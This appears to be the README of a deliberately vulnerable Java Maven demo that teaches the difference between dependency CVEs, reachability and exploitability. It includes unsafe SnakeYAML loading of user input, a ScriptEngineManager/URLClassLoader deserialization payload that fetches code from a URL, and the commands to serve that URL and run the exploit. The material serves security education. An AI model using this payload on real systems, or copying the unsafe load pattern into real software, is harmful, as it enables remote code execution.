This project is a deliberately vulnerable Java Maven application designed to study:
- SBOM + CVE detection
- Reachability analysis
- Exploitability
- Issue: Arbitrary object deserialization
- Status: ✅ Reachable
- Status: ✅ Exploitable
Used in:
Yaml yaml = new Yaml();
Object obj = yaml.load(yamlStr);When input comes from args[0], this becomes dangerous.
- Many historical CVEs
- ❌ Not exploitable here (safe usage)
- Deserialization gadgets
- ❌ Not used → not reachable
- Vulnerable version range (Log4Shell family)
- ❌ Not used → not exploitable
- Older versions
- ❌ Not directly exploitable in this code
java -cp target/... com.demo.App exploit.yamlyamlExample2(String yamlStr) {
Yaml yaml = new Yaml();
yaml.load(yamlStr);
}!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://localhost:8000/"]
]]
]- App loads YAML from user input
- SnakeYAML instantiates dangerous classes
- Remote URL is fetched
- Potential remote code execution
python3 -m http.server 8000mvn compile
mvn exec:java -Dexec.args="exploit.yaml"The app will contact:
http://localhost:8000/
- SBOM tools detect potential vulnerabilities
- Reachability determines if code is used
- Exploitability requires user-controlled input
👉 In this project:
- Many CVEs detected ❌
- Few reachable
⚠️ - One truly exploitable ✅
Understand the difference between:
- Dependency vulnerability
- Reachability
- Exploitability